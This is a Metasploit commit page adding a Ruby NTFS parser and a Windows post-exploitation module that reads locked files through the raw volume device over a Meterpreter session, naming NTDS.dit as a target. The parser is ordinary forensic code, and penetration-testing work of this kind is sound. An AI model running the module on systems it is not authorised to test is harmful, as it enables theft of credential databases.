Skip to content

Commit 133ae4c

Browse files
committed
Land rapid7#4679, Windows Post Gather File from raw NTFS.
2 parents 1f7bee3 + 69e53a4 commit 133ae4c

File tree

2 files changed

+355
-0
lines changed

2 files changed

+355
-0
lines changed

lib/rex/parser/fs/ntfs.rb

Lines changed: 252 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,252 @@
1+
# -*- coding: binary -*-
2+
module Rex
3+
module Parser
4+
###
5+
#
6+
# This class parses the contents of an NTFS partition file.
7+
# Author : Danil Bazin <danil.bazin[at]hsc.fr> @danilbaz
8+
#
9+
###
10+
class NTFS
11+
#
12+
# Initialize the NTFS class with an already open file handler
13+
#
14+
DATA_ATTRIBUTE_ID = 128
15+
INDEX_ROOT_ID = 144
16+
INDEX_ALLOCATION_ID = 160
17+
def initialize(file_handler)
18+
@file_handler = file_handler
19+
data = @file_handler.read(4096)
20+
# Boot sector reading
21+
@bytes_per_sector = data[11, 2].unpack('v')[0]
22+
@sector_per_cluster = data[13].unpack('C')[0]
23+
@cluster_per_mft_record = data[64].unpack('c')[0]
24+
if @cluster_per_mft_record < 0
25+
@bytes_per_mft_record = 2**(-@cluster_per_mft_record)
26+
@cluster_per_mft_record = @bytes_per_mft_record.to_f / @bytes_per_sector / @sector_per_cluster
27+
else
28+
@bytes_per_mft_record = @bytes_per_sector * @sector_per_cluster * @cluster_per_mft_record
29+
end
30+
@bytes_per_cluster = @sector_per_cluster * @bytes_per_sector
31+
@mft_logical_cluster_number = data[48, 8].unpack('Q<')[0]
32+
@mft_offset = @mft_logical_cluster_number * @sector_per_cluster * @bytes_per_sector
33+
@file_handler.seek(@mft_offset)
34+
@mft = @file_handler.read(@bytes_per_mft_record)
35+
end
36+
37+
#
38+
# Gather the MFT entry corresponding to his number
39+
#
40+
def mft_record_from_mft_num(mft_num)
41+
mft_num_offset = mft_num * @cluster_per_mft_record
42+
mft_data_attribute = mft_record_attribute(@mft)[DATA_ATTRIBUTE_ID]['data']
43+
cluster_from_attribute_non_resident(mft_data_attribute, mft_num_offset, @bytes_per_mft_record)
44+
end
45+
46+
#
47+
# Get the size of the file in the $FILENAME (64) attribute
48+
#
49+
def real_size_from_filenameattribute(attribute)
50+
filename_attribute = attribute
51+
filename_attribute[48, 8].unpack('Q<')[0]
52+
end
53+
54+
#
55+
# Gather the name of the file from the $FILENAME (64) attribute
56+
#
57+
def filename_from_filenameattribute(attribute)
58+
filename_attribute = attribute
59+
length_of_name = filename_attribute[64].ord
60+
# uft16 *2
61+
d = ::Encoding::Converter.new('UTF-16LE', 'UTF-8')
62+
d.convert(filename_attribute[66, (length_of_name * 2)])
63+
end
64+
65+
#
66+
# Get the file from the MFT number
67+
# The size must be gived because the $FILENAME attribute
68+
# in the MFT entry does not contain it
69+
# The file is in $DATA (128) Attribute
70+
#
71+
def file_content_from_mft_num(mft_num, size)
72+
mft_record = mft_record_from_mft_num(mft_num)
73+
attribute_list = mft_record_attribute(mft_record)
74+
if attribute_list[DATA_ATTRIBUTE_ID]['resident']
75+
return attribute_list[DATA_ATTRIBUTE_ID]['data']
76+
else
77+
data_attribute = attribute_list[DATA_ATTRIBUTE_ID]['data']
78+
return cluster_from_attribute_non_resident(data_attribute)[0, size]
79+
end
80+
end
81+
82+
#
83+
# parse one index record and return the name, MFT number and size of the file
84+
#
85+
def parse_index(index_entry)
86+
res = {}
87+
filename_size = index_entry[10, 2].unpack('v')[0]
88+
filename_attribute = index_entry[16, filename_size]
89+
# Should be 8 bytes but it doesn't work
90+
# mft_offset = index_entry[0.unpack('Q<',:8])[0]
91+
# work with 4 bytes
92+
mft_offset = index_entry[0, 4].unpack('V')[0]
93+
res[filename_from_filenameattribute(filename_attribute)] = {
94+
'mft_offset' => mft_offset,
95+
'file_size' => real_size_from_filenameattribute(filename_attribute) }
96+
res
97+
end
98+
99+
#
100+
# parse index_record in $INDEX_ROOT and recursively index_record in
101+
# INDEX_ALLOCATION
102+
#
103+
def parse_index_list(index_record, index_allocation_attribute)
104+
offset_index_entry_list = index_record[0, 4].unpack('V')[0]
105+
index_size = index_record[offset_index_entry_list + 8, 2].unpack('v')[0]
106+
index_size_in_bytes = index_size * @bytes_per_cluster
107+
index_entry = index_record[offset_index_entry_list, index_size]
108+
res = {}
109+
while index_entry[12, 4].unpack('V')[0] & 2 != 2
110+
res.update(parse_index(index_entry))
111+
# if son
112+
if index_entry[12, 4].unpack('V')[0] & 1 == 1
113+
# should be 8 bytes length
114+
vcn = index_entry[-8, 4].unpack('V')[0]
115+
vcn_in_bytes = vcn * @bytes_per_cluster
116+
res_son = parse_index_list(index_allocation_attribute[vcn_in_bytes + 24, index_size_in_bytes], index_allocation_attribute)
117+
res.update(res_son)
118+
end
119+
offset_index_entry_list += index_size
120+
index_size = index_record[offset_index_entry_list + 8, 2].unpack('v')[0]
121+
index_size_in_bytes = index_size * @bytes_per_cluster
122+
index_entry = index_record [offset_index_entry_list, index_size]
123+
end
124+
# if son on the last
125+
if index_entry[12, 4].unpack('V')[0] & 1 == 1
126+
# should be 8 bytes length
127+
vcn = index_entry[-8, 4].unpack('V')[0]
128+
vcn_in_bytes = vcn * @bytes_per_cluster
129+
res_son = parse_index_list(index_allocation_attribute[vcn_in_bytes + 24, index_size_in_bytes], index_allocation_attribute)
130+
res.update(res_son)
131+
end
132+
res
133+
end
134+
135+
#
136+
# return the list of files in attribute directory and their MFT number and size
137+
#
138+
def index_list_from_attributes(attributes)
139+
index_root_attribute = attributes[INDEX_ROOT_ID]
140+
index_record = index_root_attribute[16, index_root_attribute.length - 16]
141+
if attributes.key?(INDEX_ALLOCATION_ID)
142+
return parse_index_list(index_record, attributes[INDEX_ALLOCATION_ID])
143+
else
144+
return parse_index_list(index_record, '')
145+
end
146+
end
147+
148+
def cluster_from_attribute_non_resident(attribute, cluster_num = 0, size_max = ((2**31) - 1))
149+
lowvcn = attribute[16, 8].unpack('Q<')[0]
150+
highvcn = attribute[24, 8].unpack('Q<')[0]
151+
offset = attribute[32, 2].unpack('v')[0]
152+
real_size = attribute[48, 8].unpack('Q<')[0]
153+
attribut = ''
154+
run_list_num = lowvcn
155+
old_offset = 0
156+
while run_list_num <= highvcn
157+
first_runlist_byte = attribute[offset].ord
158+
run_offset_size = first_runlist_byte >> 4
159+
run_length_size = first_runlist_byte & 15
160+
run_length = attribute[offset + 1, run_length_size]
161+
run_length += "\x00" * (8 - run_length_size)
162+
run_length = run_length.unpack('Q<')[0]
163+
164+
offset_run_offset = offset + 1 + run_length_size
165+
run_offset = attribute[offset_run_offset, run_offset_size]
166+
if run_offset[-1].ord & 128 == 128
167+
run_offset += "\xFF" * (8 - run_offset_size)
168+
else
169+
run_offset += "\x00" * (8 - run_offset_size)
170+
end
171+
run_offset = run_offset.unpack('q<')[0]
172+
#offset relative to previous offset
173+
run_offset += old_offset
174+
175+
size_wanted = [run_length * @bytes_per_cluster, size_max - attribut.length].min
176+
if cluster_num + (size_max / @bytes_per_cluster) >= run_list_num && (cluster_num < run_length + run_list_num)
177+
run_list_offset_in_cluster = run_offset + [cluster_num - run_list_num, 0].max
178+
run_list_offset = (run_list_offset_in_cluster) * @bytes_per_cluster
179+
run_list_offset = run_list_offset.to_i
180+
@file_handler.seek(run_list_offset)
181+
182+
data = ''
183+
while data.length < size_wanted
184+
data << @file_handler.read(size_wanted - data.length)
185+
end
186+
attribut << data
187+
end
188+
offset += run_offset_size + run_length_size + 1
189+
run_list_num += run_length
190+
old_offset = run_offset
191+
end
192+
attribut = attribut[0, real_size]
193+
attribut
194+
end
195+
196+
#
197+
# return the attribute list from the MFT record
198+
# deal with resident and non resident attributes (but not $DATA due to performance issue)
199+
#
200+
def mft_record_attribute(mft_record)
201+
attribute_list_offset = mft_record[20, 2].unpack('C')[0]
202+
curs = attribute_list_offset
203+
attribute_identifier = mft_record[curs, 4].unpack('V')[0]
204+
res = {}
205+
while attribute_identifier != 0xFFFFFFFF
206+
# attribute_size=mft_record[curs + 4, 4].unpack('V')[0]
207+
# should be on 4 bytes but doesnt work
208+
attribute_size = mft_record[curs + 4, 2].unpack('v')[0]
209+
# resident
210+
if mft_record[curs + 8] == "\x00"
211+
content_size = mft_record[curs + 16, 4].unpack('V')[0]
212+
content_offset = mft_record[curs + 20, 2].unpack('v')[0]
213+
res[attribute_identifier] = mft_record[curs + content_offset, content_size]
214+
else
215+
# non resident
216+
if attribute_identifier == DATA_ATTRIBUTE_ID
217+
res[attribute_identifier] = mft_record[curs, attribute_size]
218+
else
219+
res[attribute_identifier] = cluster_from_attribute_non_resident(mft_record[curs, attribute_size])
220+
end
221+
end
222+
if attribute_identifier == DATA_ATTRIBUTE_ID
223+
res[attribute_identifier] = {
224+
'data' => res[attribute_identifier],
225+
'resident' => mft_record[curs + 8] == "\x00" }
226+
end
227+
curs += attribute_size
228+
attribute_identifier = mft_record[curs, 4].unpack('V')[0]
229+
end
230+
res
231+
end
232+
233+
#
234+
# return the file path in the NTFS partition
235+
#
236+
def file(path)
237+
repertory = mft_record_from_mft_num(5)
238+
index_entry = {}
239+
path.split('\\').each do |r|
240+
attributes = mft_record_attribute(repertory)
241+
index = index_list_from_attributes(attributes)
242+
unless index.key?(r)
243+
fail ArgumentError, 'File path does not exist', caller
244+
end
245+
index_entry = index[r]
246+
repertory = mft_record_from_mft_num(index_entry['mft_offset'])
247+
end
248+
file_content_from_mft_num(index_entry['mft_offset'], index_entry['file_size'])
249+
end
250+
end
251+
end
252+
end
Lines changed: 103 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,103 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'rex/parser/fs/ntfs'
7+
8+
class Metasploit3 < Msf::Post
9+
include Msf::Post::Windows::Priv
10+
include Msf::Post::Windows::Error
11+
12+
ERROR = Msf::Post::Windows::Error
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Windows File Gather File from Raw NTFS',
17+
'Description' => %q(
18+
This module gathers a file using the raw NTFS device, bypassing some Windows restrictions
19+
such as open file with write lock. Can be used to retrieve files such as NTDS.dit.),
20+
'License' => 'MSF_LICENSE',
21+
'Platform' => ['win'],
22+
'SessionTypes' => ['meterpreter'],
23+
'Author' => ['Danil Bazin <danil.bazin[at]hsc.fr>'], # @danilbaz
24+
'References' => [
25+
[ 'URL', 'http://www.amazon.com/System-Forensic-Analysis-Brian-Carrier/dp/0321268172/' ]
26+
]
27+
))
28+
29+
register_options(
30+
[
31+
OptString.new('FILE_PATH', [true, 'The FILE_PATH to retreive from the Volume raw device', nil])
32+
], self.class)
33+
end
34+
35+
def run
36+
winver = sysinfo["OS"]
37+
38+
fail_with(Exploit::Failure::NoTarget, 'Module not valid for Windows 2000') if winver =~ /2000/
39+
fail_with(Exploit::Failure::NoAccess, 'You don\'t have administrative privileges') unless is_admin?
40+
41+
file_path = datastore['FILE_PATH']
42+
43+
r = client.railgun.kernel32.GetFileAttributesW(file_path)
44+
45+
case r['GetLastError']
46+
when ERROR::SUCCESS, ERROR::SHARING_VIOLATION, ERROR::ACCESS_DENIED, ERROR::LOCK_VIOLATION
47+
# Continue, we can bypass these errors as we are performing a raw
48+
# file read.
49+
when ERROR::FILE_NOT_FOUND, ERROR::PATH_NOT_FOUND
50+
fail_with(
51+
Exploit::Failure::BadConfig,
52+
"The file, #{file_path}, does not exist, use file format C:\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts"
53+
)
54+
else
55+
fail_with(
56+
Exploit::Failure::Unknown,
57+
"Unknown error locating #{file_path}. Windows Error Code: #{r['GetLastError']} - #{r['ErrorMessage']}"
58+
)
59+
end
60+
61+
drive = file_path[0, 2]
62+
63+
r = client.railgun.kernel32.CreateFileW("\\\\.\\#{drive}",
64+
'GENERIC_READ',
65+
'FILE_SHARE_DELETE|FILE_SHARE_READ|FILE_SHARE_WRITE',
66+
nil,
67+
'OPEN_EXISTING',
68+
'FILE_FLAG_WRITE_THROUGH',
69+
0)
70+
71+
if r['GetLastError'] != ERROR::SUCCESS
72+
fail_with(
73+
Exploit::Failure::Unknown,
74+
"Error opening #{drive}. Windows Error Code: #{r['GetLastError']} - #{r['ErrorMessage']}")
75+
end
76+
77+
@handle = r['return']
78+
vprint_status("Successfuly opened #{drive}")
79+
begin
80+
@bytes_read = 0
81+
fs = Rex::Parser::NTFS.new(self)
82+
print_status("Trying to gather #{file_path}")
83+
path = file_path[3, file_path.length - 3]
84+
data = fs.file(path)
85+
file_name = file_path.split("\\")[-1]
86+
stored_path = store_loot("windows.file", 'application/octet-stream', session, data, file_name, "Windows file")
87+
print_good("Saving file : #{stored_path}")
88+
ensure
89+
client.railgun.kernel32.CloseHandle(@handle)
90+
end
91+
print_status("Post Successful")
92+
end
93+
94+
def read(size)
95+
client.railgun.kernel32.ReadFile(@handle, size, size, 4, nil)['lpBuffer']
96+
end
97+
98+
def seek(offset)
99+
high_offset = offset >> 32
100+
low_offset = offset & (2**33 - 1)
101+
client.railgun.kernel32.SetFilePointer(@handle, low_offset, high_offset, 0)
102+
end
103+
end

0 commit comments

Comments
 (0)